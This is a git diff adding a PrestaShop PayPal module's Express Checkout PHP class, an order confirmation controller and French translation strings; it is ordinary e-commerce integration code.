array(); + + // Used to know if user can validated his payment after shipping / address selection + public $ready = false; + + // Take for now cart or product value + public $type = false; + + static public $COOKIE_NAME = 'express_checkout'; + + public $cookie_key = array( + 'token', 'id_product', 'id_p_attr', + 'quantity', 'type', 'total_different_product', + 'secure_key', 'ready', 'payer_id' + ); + + public function __construct($type = false) + { + parent::__construct(); + + // If type is sent, the cookie has to be delete + if ($type) + { + unset($this->context->cookie->{self::$COOKIE_NAME}); + $this->setExpressCheckoutType($type); + } + + // Store back the PayPal data if present under the cookie + if (isset($this->context->cookie->{self::$COOKIE_NAME})) + { + $paypal = unserialize($this->context->cookie->{self::$COOKIE_NAME}); + + foreach ($this->cookie_key as $key) + $this->{$key} = $paypal[$key]; + } + + $this->currency = new Currency((int)$this->context->cart->id_currency); + + if (!Validate::isLoadedObject($this->currency)) + $this->_errors[] = $this->l('Not a valid currency'); + + if (count($this->_errors)) + return false; + + $currency_decimals = is_array($this->currency) ? (int)$this->currency['decimals'] : (int)$this->currency->decimals; + $this->decimals = $currency_decimals * _PS_PRICE_DISPLAY_PRECISION_; + } + + // Will build the product_list depending of the type + private function initParameters() + { + if (!$this->context->cart || !$this->context->cart->id) + return false; + + $cart_currency = new Currency((int)$this->context->cart->id_currency); + $currency_module = $this->getCurrency((int)$this->context->cart->id_currency); + + if ($cart_currency !== $currency_module) + { + $this->context->cart->id_currency = $currency_module->id; + $this->context->cart->update(); + } + + $this->context->currency = $currency_module; + $this->product_list = $this->context->cart->getProducts(); + return (bool)count($this->product_list); + } + + public function setExpressCheckout() + { + $this->method = 'SetExpressCheckout'; + $this->setCancelUrl($fields); + + // Only this call need to get the value from the $_GET / $_POST array + if (!$this->initParameters(true) || !$fields['CANCELURL']) + return false; + + // Set payment detail (reference) + $this->_setPaymentDetails($fields); + $fields['SOLUTIONTYPE'] = 'Sole'; + $fields['LANDINGPAGE'] = 'Login'; + + // Seller informations + $fields['USER'] = Configuration::get('PAYPAL_API_USER'); + $fields['PWD'] = Configuration::get('PAYPAL_API_PASSWORD'); + $fields['SIGNATURE'] = Configuration::get('PAYPAL_API_SIGNATURE'); + + $this->callAPI($fields); + $this->_storeToken(); + } + + public function setCancelUrl(&$fields) + { + $url = urldecode(Tools::getValue('current_shop_url')); + $parsed_data = parse_url($url); + + $parsed_data['scheme'] .= '://'; + + if (isset($parsed_data['path'])) + { + $parsed_data['path'] .= '?paypal_ec_canceled=1&'; + $parsed_data['query'] = isset($parsed_data['query']) ? $parsed_data['query'] : null; + } + else + { + $parsed_data['path'] = '?paypal_ec_canceled=1&'; + $parsed_data['query'] = '/'.(isset($parsed_data['query']) ? $parsed_data['query'] : null); + } + + $cancel_url = implode($parsed_data); + + if (!empty($cancel_url)) + $fields['CANCELURL'] = $cancel_url; + } + + public function getExpressCheckout() + { + $this->method = 'GetExpressCheckoutDetails'; + $fields['TOKEN'] = $this->token; + + $this->initParameters(); + $this->callAPI($fields); + + // The same token of SetExpressCheckout + $this->_storeToken(); + } + + public function doExpressCheckout() + { + $this->method = 'DoExpressCheckoutPayment'; + + $fields['TOKEN'] = $this->token; + $fields['PAYERID'] = $this->payer_id; + + if (count($this->product_list) <= 0) + $this->initParameters(); + + // Set payment detail (reference) + $this->_setPaymentDetails($fields); + $this->callAPI($fields); + + $this->result += $fields; + } + + private function callAPI($fields) + { + $this->logs = array(); + $paypal_lib = new PaypalLib(); + + $this->result = $paypal_lib->makeCall($this->getAPIURL(), $this->getAPIScript(), $this->method, $fields, $this->method_version); + $this->logs = array_merge($this->logs, $paypal_lib->getLogs()); + + $this->_storeToken(); + } + + private function _setPaymentDetails(&$fields) + { + // Required field + $fields['RETURNURL'] = PayPal::getShopDomainSsl(true, true)._MODULE_DIR_.$this->name.'/express_checkout/payment.php'; + $fields['REQCONFIRMSHIPPING'] = '0'; + $fields['NOSHIPPING'] = '1'; + $fields['BUTTONSOURCE'] = $this->getTrackingCode(); + + // Products + $taxes = $total = 0; + $index = -1; + + // Set cart products list + $this->setProductsList($fields, $index, $total, $taxes); + $this->setDiscountsList($fields, $index, $total, $taxes); + $this->setGiftWrapping($fields, $index, $total); + + // Payment values + $this->setPaymentValues($fields, $index, $total, $taxes); + + $id_address = (int)$this->context->cart->id_address_delivery; + if (($id_address == 0) && ($this->context->customer)) + $id_address = Address::getFirstCustomerAddressId($this->context->customer->id); + + if ($id_address && method_exists($this->context->cart, 'isVirtualCart') && !$this->context->cart->isVirtualCart()) + $this->setShippingAddress($fields, $id_address); + else + $fields['NOSHIPPING'] = '0'; + + foreach ($fields as &$field) + if (is_numeric($field)) + $field = str_replace(',', '.', $field); + } + + private function setShippingAddress(&$fields, $id_address) + { + $address = new Address($id_address); + + $fields['ADDROVERRIDE'] = '1'; + $fields['EMAIL'] = $this->context->customer->email; + $fields['PAYMENTREQUEST_0_SHIPTONAME'] = $address->firstname.' '.$address->lastname; + $fields['PAYMENTREQUEST_0_SHIPTOPHONENUM'] = (empty($address->phone)) ? $address->phone_mobile : $address->phone; + $fields['PAYMENTREQUEST_0_SHIPTOSTREET'] = $address->address1; + $fields['PAYMENTREQUEST_0_SHIPTOSTREET2'] = $address->address2; + $fields['PAYMENTREQUEST_0_SHIPTOCITY'] = $address->city; + + if ($address->id_state) + { + $state = new State((int)$address->id_state); + $fields['PAYMENTREQUEST_0_SHIPTOSTATE'] = $state->iso_code; + } + + $country = new Country((int)$address->id_country); + $fields['PAYMENTREQUEST_0_SHIPTOCOUNTRYCODE'] = $country->iso_code; + $fields['PAYMENTREQUEST_0_SHIPTOZIP'] = $address->postcode; + } + + private function setProductsList(&$fields, &$index, &$total) + { + foreach ($this->product_list as $product) + { + $fields['L_PAYMENTREQUEST_0_NUMBER'.++$index] = (int)$product['id_product']; + + $fields['L_PAYMENTREQUEST_0_NAME'.$index] = $product['name']; + $fields['L_PAYMENTREQUEST_0_DESC'.$index] = substr(strip_tags($product['description_short']), 0, 120).'...'; + + $fields['L_PAYMENTREQUEST_0_AMT'.$index] = Tools::ps_round($product['price_wt'], $this->decimals); + $fields['L_PAYMENTREQUEST_0_QTY'.$index] = $product['quantity']; + + $total = $total + ($fields['L_PAYMENTREQUEST_0_AMT'.$index] * $product['quantity']); + } + } + + private function setDiscountsList(&$fields, &$index, &$total) + { + $discounts = (_PS_VERSION_ < '1.5') ? $this->context->cart->getDiscounts() : $this->context->cart->getCartRules(); + + if (count($discounts) > 0) + foreach ($discounts as $discount) + { + $fields['L_PAYMENTREQUEST_0_NUMBER'.++$index] = $discount['id_discount']; + + $fields['L_PAYMENTREQUEST_0_NAME'.$index] = $discount['name']; + if (isset($discount['description']) && !empty($discount['description'])) + $fields['L_PAYMENTREQUEST_0_DESC'.$index] = substr(strip_tags($discount['description']), 0, 120).'...'; + + /* It is a discount so we store a negative value */ + $fields['L_PAYMENTREQUEST_0_AMT'.$index] = -1 * Tools::ps_round($discount['value_real'], $this->decimals); + $fields['L_PAYMENTREQUEST_0_QTY'.$index] = 1; + + $total = Tools::ps_round($total + $fields['L_PAYMENTREQUEST_0_AMT'.$index], $this->decimals); + } + } + + private function setGiftWrapping(&$fields, &$index, &$total) + { + if ($this->context->cart->gift == 1) + { + $gift_wrapping_price = $this->getGiftWrappingPrice(); + + $fields['L_PAYMENTREQUEST_0_NAME'.++$index] = $this->l('Gift wrapping'); + + $fields['L_PAYMENTREQUEST_0_AMT'.$index] = Tools::ps_round($gift_wrapping_price, $this->decimals); + $fields['L_PAYMENTREQUEST_0_QTY'.$index] = 1; + + $total = Tools::ps_round($total + $gift_wrapping_price, $this->decimals); + } + } + + private function setPaymentValues(&$fields, &$index, &$total, &$taxes) + { + if (_PS_VERSION_ < '1.5') + $shipping_cost_wt = $this->context->cart->getOrderShippingCost(); + else + $shipping_cost_wt = $this->context->cart->getTotalShippingCost(); + + if ((bool)Configuration::get('PAYPAL_CAPTURE')) + $fields['PAYMENTREQUEST_0_PAYMENTACTION'] = 'Authorization'; + else + $fields['PAYMENTREQUEST_0_PAYMENTACTION'] = 'Sale'; + + $currency = new Currency((int)$this->context->cart->id_currency); + $fields['PAYMENTREQUEST_0_CURRENCYCODE'] = $currency->iso_code; + + /** + * If the total amount is lower than 1 we put the shipping cost as an item + * so the payment could be valid. + */ + if ($total <= 1) + { + $carrier = new Carrier($this->context->cart->id_carrier); + $fields['L_PAYMENTREQUEST_0_NUMBER'.++$index] = $carrier->id_reference; + $fields['L_PAYMENTREQUEST_0_NAME'.$index] = $carrier->name; + $fields['L_PAYMENTREQUEST_0_AMT'.$index] = Tools::ps_round($shipping_cost_wt, $this->decimals); + $fields['L_PAYMENTREQUEST_0_QTY'.$index] = 1; + + $fields['PAYMENTREQUEST_0_ITEMAMT'] = Tools::ps_round($total, $this->decimals) + Tools::ps_round($shipping_cost_wt, $this->decimals); + $fields['PAYMENTREQUEST_0_AMT'] = $total + Tools::ps_round($shipping_cost_wt, $this->decimals); + } + else + { + $fields['PAYMENTREQUEST_0_SHIPPINGAMT'] = Tools::ps_round($shipping_cost_wt, $this->decimals); + $fields['PAYMENTREQUEST_0_ITEMAMT'] = Tools::ps_round($total, $this->decimals); + $fields['PAYMENTREQUEST_0_AMT'] = $total + $fields['PAYMENTREQUEST_0_SHIPPINGAMT']; + } + } + + public function rightPaymentProcess() + { + $total = $this->getTotalPaid(); + + // float problem with php, have to use the string cast. + if ((isset($this->result['AMT']) && ((string)$this->result['AMT'] != (string)$total)) || + (isset($this->result['PAYMENTINFO_0_AMT']) && ((string)$this->result['PAYMENTINFO_0_AMT'] != (string)$total))) + return false; + return true; + } + + /** + * @return mixed + */ + public function getTotalPaid() + { + $total = 0.00; + + foreach ($this->product_list as $product) + { + $price = Tools::ps_round($product['price_wt'], $this->decimals); + $quantity = Tools::ps_round($product['quantity'], $this->decimals); + $total = Tools::ps_round($total + ($price * $quantity), $this->decimals); + } + + if ($this->context->cart->gift == 1) + $total = Tools::ps_round($total + $this->getGiftWrappingPrice(), $this->decimals); + + if (_PS_VERSION_ < '1.5') + { + $discounts = $this->context->cart->getDiscounts(); + $shipping_cost = $this->context->cart->getOrderShippingCost(); + } + else + { + $discounts = $this->context->cart->getCartRules(); + $shipping_cost = $this->context->cart->getTotalShippingCost(); + } + + if (count($discounts) > 0) + foreach ($discounts as $product) + { + $price = -1 * Tools::ps_round($product['value_real'], $this->decimals); + $total = Tools::ps_round($total + $price, $this->decimals); + } + + return Tools::ps_round($shipping_cost, $this->decimals) + $total; + } + + private function _storeToken() + { + if (is_array($this->result) && isset($this->result['TOKEN'])) + $this->token = (string)$this->result['TOKEN']; + } + + // Store data for the next reloading page + private function _storeCookieInfo() + { + $tab = array(); + + foreach ($this->cookie_key as $key) + $tab[$key] = $this->{$key}; + + $this->context->cookie->{self::$COOKIE_NAME} = serialize($tab); + } + + public function hasSucceedRequest() + { + if (is_array($this->result)) + foreach(array('ACK', 'PAYMENTINFO_0_ACK') as $key) + if (isset($this->result[$key]) && strtoupper($this->result[$key]) == 'SUCCESS') + return true; + + return false; + } + + private function getSecureKey() + { + if (!count($this->product_list)) + $this->initParameters(); + + $key = array(); + + foreach($this->product_list as $product) + { + $id_product = $product['id_product']; + $id_product_attribute = $product['id_product_attribute']; + $quantity = $product['quantity']; + + $key[] = $id_product.$id_product_attribute.$quantity._COOKIE_KEY_; + } + + return md5(serialize($key)); + } + + public function isProductsListStillRight() + { + return $this->secure_key == $this->getSecureKey(); + } + + public function setExpressCheckoutType($type) + { + if (in_array($type, $this->available_type)) + { + $this->type = $type; + return true; + } + return false; + } + + public function redirectToAPI() + { + $this->secure_key = $this->getSecureKey(); + $this->_storeCookieInfo(); + + if ($this->useMobile()) + $url = '/cgi-bin/webscr?cmd=_express-checkout-mobile'; + else + $url = '/websc&cmd=_express-checkout'; + + header('Location: https://'.$this->getPayPalURL().$url.'&token='.urldecode($this->token)); + exit(0); + } + + public function redirectToCheckout($customer, $redirect = false) + { + $this->ready = true; + $this->_storeCookieInfo(); + + $this->context->cookie->id_customer = (int)$customer->id; + $this->context->cookie->customer_lastname = $customer->lastname; + $this->context->cookie->customer_firstname = $customer->firstname; + $this->context->cookie->passwd = $customer->passwd; + $this->context->cookie->email = $customer->email; + $this->context->cookie->is_guest = $customer->isGuest(); + $this->context->cookie->logged = 1; + + if (_PS_VERSION_ < '1.5') + Module::hookExec('authentication'); + else + Hook::exec('authentication'); + + if ($redirect) + { + $link = $this->context->link->getPageLink('order.php', false, null, array('step' => '3')); + Tools::redirectLink($link); + exit(0); + } + } +} diff --git a/modules/paypal2/express_checkout/submit.php b/modules/paypal2/express_checkout/submit.php new file mode 100755 index 0000000..32a2da4 --- /dev/null +++ b/modules/paypal2/express_checkout/submit.php @@ -0,0 +1,92 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(dirname(__FILE__).'/../../../config/config.inc.php'); +include_once(dirname(__FILE__).'/../../../init.php'); + +if (_PS_VERSION_ < '1.5') + require_once(_PS_ROOT_DIR_.'/controllers/OrderConfirmationController.php'); + +/** + * 1.4 Retro-compatibility class + */ +class PayPalExpressCheckoutSubmit extends OrderConfirmationControllerCore +{ + public function __construct() + { + $this->paypal = new PayPal(); + $this->context = $this->paypal->context; + + parent::__construct(); + + $this->run(); + } + + public function displayContent() + { + $id_order = (int)Tools::getValue('id_order'); + + $order = new Order($id_order); + $paypal_order = PayPalOrder::getOrderById($id_order); + + $price = Tools::displayPrice($paypal_order['total_paid'], $this->context->currency); + + $order_state = new OrderState($id_order); + + if ($order_state) + $order_state_message = $order_state->template[$this->context->language->id]; + + if (!$order || !$order_state || (isset($order_state_message) && ($order_state_message == 'payment_error'))) + { + $this->context->smarty->assign( + array( + 'logs' => array($this->paypal->l('An error occurred while processing payment.')), + 'order' => $paypal_order, + 'price' => $price, + ) + ); + + if (isset($order_state_message) && $order_state_message) + $this->context->smarty->assign('message', $order_state_message); + + $template = 'error.tpl'; + } + else + { + $this->context->smarty->assign( + array( + 'order' => $paypal_order, + 'price' => $price, + ) + ); + + $template = 'order-confirmation.tpl'; + } + + $this->context->smarty->assign('use_mobile', (bool) $this->paypal->useMobile()); + echo $this->paypal->fetchTemplate($template); + } +} diff --git a/modules/paypal2/fr.php b/modules/paypal2/fr.php new file mode 100755 index 0000000..e32dded --- /dev/null +++ b/modules/paypal2/fr.php @@ -0,0 +1,114 @@ +paypal_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>paypal_6e7012516038a096b9f6bb71ba2cc5a3'] = 'Acceptez le paiements par cartes de crédits (CB, Visa, MasterCard, Amex, Aurore, Cofinoga, 4 stars) avec PayPal.'; +$_MODULE['<{paypal}prestashop>paypal_69a1a3ad8dd5da6db3c4da838a0cf9c7'] = 'Êtes-vous certain de vouloir supprimer vos informations ?'; +$_MODULE['<{paypal}prestashop>paypal_8b57f95f1e9cf09dc028fa5a671781ff'] = 'Toutes les fonctionnalités du module PayPal API sont incluses dans le nouveau module PayPal. Avant tout, pour ne pas rencontrer de conflits, veuillez ne pas utiliser ou supprimer le module PayPal API.'; +$_MODULE['<{paypal}prestashop>paypal_c91f1fb5e06286c3e0a33fc552dffbea'] = 'Vous devez renseigner vos identifiants PayPal Integral pour que votre thème mobile fonctionne correctement.'; +$_MODULE['<{paypal}prestashop>paypal_bd6b3cca1e559117a964cdfab6a977cf'] = 'Le thème mobile fonctionne seulement avec la solution de paiement mobile PayPal. Veuillez activer le module pour bénéficier de possibilités de paiements.'; +$_MODULE['<{paypal}prestashop>paypal_c9d8a8d3c76c69e9a5ba6387acb8655a'] = 'Avant d\'utiliser le module vous devez installer le module \"Rétro-compatibilité\".'; +$_MODULE['<{paypal}prestashop>paypal_ea5eb3f904bf42377277255cbd0e2251'] = 'Pour fonctionner correctement le module \"Rétro-compatibilité\" doit être activé.'; +$_MODULE['<{paypal}prestashop>paypal_48878e69ef59b9e9d2d9a8c18e4de520'] = 'Pour fonctionner correctement ce module requiert le module \"Rétro-compatibilité\" v'; +$_MODULE['<{paypal}prestashop>paypal_20fda49ece75d93bea97648ab1f1f1cf'] = 'Annulation des produits :'; +$_MODULE['<{paypal}prestashop>paypal_90ab0cfd410722553c79e614207a789a'] = 'Certains champs sont vides.'; +$_MODULE['<{paypal}prestashop>paypal_ce0e2b401002ca796d2e8aca7deb8f00'] = 'Les champs des identifiants ne peuvent être vides'; +$_MODULE['<{paypal}prestashop>paypal_3f7145179c909f0e87a911a3171986b6'] = 'Le champs E-mail professionnel ne peut être vide'; +$_MODULE['<{paypal}prestashop>paypal_e5d5d9f40763cfe6549bef705e3529a7'] = 'Le message de paiement n\'est pas valide, veuillez vérifier votre module'; +$_MODULE['<{paypal}prestashop>paypal_ee9dc1e678d54c517f481583c3fb2db8'] = 'Devise invalide'; +$_MODULE['<{paypal}prestashop>paypal_eec39bf42bd135971fb2d838c67d1449'] = 'Opération de remboursement :'; +$_MODULE['<{paypal}prestashop>paypal_2ab62d1a578713d0862b56819295630e'] = 'Remboursement PayPal confirmé !'; +$_MODULE['<{paypal}prestashop>paypal_a64db959966ba8d07c8b5d9493fcc21f'] = 'Erreur de transaction !'; +$_MODULE['<{paypal}prestashop>paypal_67962779da962e3d4225055afc05e7bd'] = 'Résultat de la capture :'; +$_MODULE['<{paypal}prestashop>paypal_8778ee03f6592d5fec9a1f2ee851e476'] = 'Commande terminée avec PayPal !'; +$_MODULE['<{paypal}prestashop>paypal_672d40feac6437e49f771019bc330790'] = 'Statu de la vérification :'; +$_MODULE['<{paypal}prestashop>paypal_1828820cc60e36b6f9fdf60cab103ed7'] = 'Vous utilisez actuellement l\'adresse PayPal par défaut, veuillez entrer votre propre adresse.'; +$_MODULE['<{paypal}prestashop>paypal_connect_d1f14cc4a2dade80c92421d26422fea0'] = 'Ouvre une nouvelle connection vers'; +$_MODULE['<{paypal}prestashop>paypal_connect_94a27811a721ef512ad7bfa06cab34e0'] = 'Echec de la connection avec la méthode cURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_70215486455daee13382c68b1a230b82'] = 'Connection réussie avec la méthode cURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_e4c4ad49bced42265b5facc2175cdafd'] = 'Envoie des paramètres :'; +$_MODULE['<{paypal}prestashop>paypal_connect_445583f6641da98fc7ac8fd9d13a564b'] = 'Echec de l\'envoie avec la méthode cURL ! Erreur :'; +$_MODULE['<{paypal}prestashop>paypal_connect_ef4fbf36eaa2083442d386990ba063c2'] = 'Envoie réussi avec la méthode cURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_bf059c9751bb1a20b449b7917b1df374'] = 'Echec de la connection avec la méthode fsockopen'; +$_MODULE['<{paypal}prestashop>paypal_connect_ea800e3536f81238a4cbc32eb6db4eaf'] = 'Connection réussie avec la méthode fsockopen'; +$_MODULE['<{paypal}prestashop>paypal_connect_6e9aa4cb541e09b07602d4ea96080811'] = 'Echec de l\'envoie avec la méthode fsockopen ! Erreur :'; +$_MODULE['<{paypal}prestashop>paypal_connect_842a183be225d415b2b4375ba1dd1c94'] = 'Envoie réussi avec la méthode fsockopen'; +$_MODULE['<{paypal}prestashop>paypal_lib_7c2d00d8c94d1ce0f515db8b0481db40'] = 'Réponse PayPal :'; +$_MODULE['<{paypal}prestashop>submit_67a3fcdb7708219b9d5d6269ad8c4a86'] = 'Une erreur est survenue pendant le processus de paiement.'; +$_MODULE['<{paypal}prestashop>ajax_7ef8c0c75056a5d1f988e352efcd0f09'] = 'Ce produit n\'est plus en stock avec ces attributs mais est disponible avec d\'autres'; +$_MODULE['<{paypal}prestashop>payment_d141a42a5e72c871a3116414bb5c64c1'] = 'Création du nouveau panier impossible'; +$_MODULE['<{paypal}prestashop>payment_5b5adcef5e3f2e5e1b6f60eb3e7e41ed'] = 'Une erreur est survenue :'; +$_MODULE['<{paypal}prestashop>payment_dca16503c563d9fdec70d18f2ab653a4'] = 'Erreur lors de la préparation du paiement par Express Checkout'; +$_MODULE['<{paypal}prestashop>payment_51da74120dd5e11817ef21e27d2599bc'] = 'Impossible de créer un nouvel utilisateur'; +$_MODULE['<{paypal}prestashop>payment_bcf08b34ab427cb871635151c6976eb0'] = 'Impossible de créer la nouvelle adresse'; +$_MODULE['<{paypal}prestashop>payment_ca5cecfc8fd8e585ba1e684757168158'] = 'Impossible de mettre à jour le panier'; +$_MODULE['<{paypal}prestashop>payment_ada2b5d5bbf3065de283d61526141780'] = 'En attente de capture du paiement.'; +$_MODULE['<{paypal}prestashop>payment_36ec50c0e914dd2fb48a1b27540512ce'] = 'Paiement accepté.'; +$_MODULE['<{paypal}prestashop>payment_8a34d4a5b0c3928059f6f92ead9e8aa6'] = 'Le prix payé sur PayPal est différent du prix renseigné sur la boutique.'; +$_MODULE['<{paypal}prestashop>payment_98825385aadb1d0dd0fd133ef8acd23d'] = 'Impossible de créer la commande'; +$_MODULE['<{paypal}prestashop>payment_085b78e060c3ef4cc37bd25abd06ff66'] = 'Le panier a changé depuis la dernière tentative de paiement. Veuillez recommencer le processus de paiement s\'il vous plait.'; +$_MODULE['<{paypal}prestashop>payment_572da7ef1411f2a12409e752f3eb2f7a'] = 'Votre panier et vide.'; +$_MODULE['<{paypal}prestashop>process_ee9dc1e678d54c517f481583c3fb2db8'] = 'Devise invalide.'; +$_MODULE['<{paypal}prestashop>process_484f5a79672cebe198ebdde45a1d672f'] = 'Emballage cadeau.'; +$_MODULE['<{paypal}prestashop>notifier_8a34d4a5b0c3928059f6f92ead9e8aa6'] = 'Le prix payé sur PayPal est différent du prix renseigné sur la boutique.'; +$_MODULE['<{paypal}prestashop>notifier_572f9af7615560af2cba038cc1948287'] = 'Panier mis à jour, merci de ré-essayer.'; +$_MODULE['<{paypal}prestashop>notifier_36ec50c0e914dd2fb48a1b27540512ce'] = 'Paiement accepté.'; +$_MODULE['<{paypal}prestashop>back_office_2d801c24938b12e4ca9a2cf9b980c759'] = 'Erreur !'; +$_MODULE['<{paypal}prestashop>capture_81e826adb70e2e6b189c2eef739d52d4'] = 'Capture PayPal'; +$_MODULE['<{paypal}prestashop>capture_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informations :'; +$_MODULE['<{paypal}prestashop>capture_ce64b2ea82cf4fa861a6512e2c32b84b'] = 'Les fonds sont prêts à être capturés avant expédition'; +$_MODULE['<{paypal}prestashop>capture_99e64593868df2b7b32231c1ae5ddc04'] = 'Récupérer les fonds'; +$_MODULE['<{paypal}prestashop>refund_8ba079f305b81b172792bc0469b6a690'] = 'Remboursement PayPal'; +$_MODULE['<{paypal}prestashop>refund_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informations :'; +$_MODULE['<{paypal}prestashop>refund_016e1f278eccd700eaf33f74a501d050'] = 'Paiement accepté'; +$_MODULE['<{paypal}prestashop>refund_a8b1cc445942a2e1a7d7cca641c86d67'] = 'Lorsque vous remboursez un produit, un remboursement partiel est effectué sauf si vous sélectionnez l\'option \"Générer un bon de réduction\"'; +$_MODULE['<{paypal}prestashop>refund_c2a5e2e23d8ec9cad779d657b7d33fc1'] = 'Remboursement total de la transaction'; +$_MODULE['<{paypal}prestashop>refund_729a51874fe901b092899e9e8b31c97a'] = 'Etes-vous sûr ?'; +$_MODULE['<{paypal}prestashop>validation_b630aa9b5e25da971949cae62dd109aa'] = 'Validation PayPal'; +$_MODULE['<{paypal}prestashop>validation_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informations :'; +$_MODULE['<{paypal}prestashop>validation_9119a92adbbf6c67bfb8a3aee0bdb720'] = 'Capture en attente - Pas d\'expédition'; +$_MODULE['<{paypal}prestashop>validation_c14eb95a724174f336b8ffdd98ef2f35'] = 'Paiement en attente - Pas d\'expédition'; +$_MODULE['<{paypal}prestashop>validation_5b18ff32c2aaaf4b79bdead10b10fe29'] = 'Vérifier l\'état du paiement'; +$_MODULE['<{paypal}prestashop>about_e816e21c1c8e0eba0620fa3df6bd6795'] = 'Qu\'est-ce que PayPal ?'; +$_MODULE['<{paypal}prestashop>about_16ea57badae98f402bb8f2b2f49d4e77'] = 'PayPal, leader incontesté en matière de paiement en ligne, permet aux acheteurs et aux vendeurs d\'envoyer et de recevoir des paiements en ligne. PayPal compte plus de 100 millions de comptes dans 190 pays et régions du monde. Il est accepté par les marchands partout, à la fois sur eBay et en dehors d\'eBay.'; +$_MODULE['<{paypal}prestashop>about_d20adade7baa1b60b713521031ea676c'] = 'Est-ce un service sécurisé ?'; +$_MODULE['<{paypal}prestashop>about_64f7b897c6d56fc62428f692ee5737cd'] = 'PayPal contribue à protéger les informations concernant votre carte bancaire grâce aux meilleurs systèmes présents sur le marché pour la sécurité et la prévention contre la fraude. Lorsque vous utilisez PayPal, vos informations financières ne sont jamais communiquées au marchand.'; +$_MODULE['<{paypal}prestashop>about_5ef30813484389e4200640c2f006004d'] = 'Pourquoi utiliser PayPal ?'; +$_MODULE['<{paypal}prestashop>about_86550d4ea832930db4366f03b90bdfb8'] = 'Effectuez des achats ou envoyez des paiements avec PayPal : c\'est gratuit.'; +$_MODULE['<{paypal}prestashop>about_7dc9e529337e5a55a12bf362b8e68cac'] = 'Achetez et payez en toute tranquillité en enregistrant vos informations auprès de PayPal.'; +$_MODULE['<{paypal}prestashop>about_32098ae6a7ecd96805df9e48fb6cc739'] = 'PayPal est accepté par des millions de marchands dans le monde et constitue le mode de paiement le plus utilisé sur eBay.'; +$_MODULE['<{paypal}prestashop>about_7934d7d1280bfbb8778743e39292af30'] = 'Utilisez PayPal dès aujourd\'hui !'; +$_MODULE['<{paypal}prestashop>error_a40cab5994f36d4c48103a22ca082e8f'] = 'Votre panier'; +$_MODULE['<{paypal}prestashop>error_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>error_f47106270a2928f350f357e255a2c2ac'] = 'Veuillez contacter le marchant:'; +$_MODULE['<{paypal}prestashop>error_d5860edcd3078f86ee963c27654bc6cf'] = 'Montant total de la transaction (taxes incl) :'; +$_MODULE['<{paypal}prestashop>error_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'L\'ID de votre commande est :'; +$_MODULE['<{paypal}prestashop>error_0557fa923dcee4d0f86b1409f5c2167f'] = 'Précédent'; +$_MODULE['<{paypal}prestashop>order-confirmation_fb077ecba55e5552916bde26d8b9e794'] = 'Confirmation de commande'; +$_MODULE['<{paypal}prestashop>order-confirmation_d5860edcd3078f86ee963c27654bc6cf'] = 'Total de la transaction (TTC) :'; +$_MODULE['<{paypal}prestashop>order-confirmation_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'Votre numéro de commande est le :'; +$_MODULE['<{paypal}prestashop>order-confirmation_6e860dc1cf94ca08b3fd99993aa2dc68'] = 'Votre numéro de transaction PayPal est :'; +$_MODULE['<{paypal}prestashop>order-confirmation_4082ea29b4f196c4f60533500139725a'] = 'Suivre ma commande'; +$_MODULE['<{paypal}prestashop>order-confirmation_9390390581f54c65d6acfc8da4e17362'] = 'Retour aux commandes'; +$_MODULE['<{paypal}prestashop>order-summary_a40cab5994f36d4c48103a22ca082e8f'] = 'Votre panier'; +$_MODULE['<{paypal}prestashop>order-summary_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>order-summary_f1d3b424cd68795ecaa552883759aceb'] = 'Résumé de la commande'; +$_MODULE['<{paypal}prestashop>order-summary_dd23adc5fb6bda9c384397b31e57fc53'] = 'Paiement par PayPal'; +$_MODULE['<{paypal}prestashop>order-summary_62d74398cb6ebaa69ab7339052ca5c92'] = 'Vous avez choisi de payer par PayPal'; +$_MODULE['<{paypal}prestashop>order-summary_c884ed19483d45970c5bf23a681e2dd2'] = 'Voici un résumé de votre commande'; +$_MODULE['<{paypal}prestashop>order-summary_e2867a925cba382f1436d1834bb52a1c'] = 'Le montant total de votre commande est'; +$_MODULE['<{paypal}prestashop>order-summary_1f87346a16cf80c372065de3c54c86d9'] = '(tax incl.)'; +$_MODULE['<{paypal}prestashop>order-summary_8ed356c32b198c9cb2abab7c3d262b93'] = 'Nous acceptons les devises suivantes avec PayPal :'; +$_MODULE['<{paypal}prestashop>order-summary_0881a11f7af33bc1b43e437391129d66'] = 'Veuillez confirmer votre commande en cliquant sur \"Je confirme ma commande\"'; +$_MODULE['<{paypal}prestashop>order-summary_46b9e3665f187c739c55983f757ccda0'] = 'Je confirme ma commande'; +$_MODULE['<{paypal}prestashop>column_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Payer par PayPal'; +$_MODULE['<{paypal}prestashop>confirmation_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Votre commande sur'; +$_MODULE['<{paypal}prestashop>confirmation_75fbf512d744977d62599cc3f0ae2bb4'] = 'est bien enregistrée.'; +$_MODULE['<{paypal}prestashop>confirmation_15b0f8e55c6bdfc3d5fd0b6b3b6cb3ee'] = 'Vous avez choisi de payer avec PayPal.'; +$_MODULE['<{paypal}prestashop>confirmation_e6dc7945b557a1cd949bea92dd58963e'] = 'Votre commande vous sera envoyée très prochainement.'; +$_MODULE['<{paypal}prestashop>confirmation_0db71da7150c27142eef9d22b843b4a9'] = 'Pour toute question ou information complémentaire merci de contacter notre'; +$_MODULE['<{paypal}prestashop>confirmation_64430ad2835be8ad60c59e7d44e4b0b1'] = 'support client'; +$_MODULE['<{paypal}prestashop>express_checkout_payment_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Payez avec PayPal'; +$_MODULE['<{paypal}prestashop>express_checkout_shortcut_form_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Payez avec PayPal'; 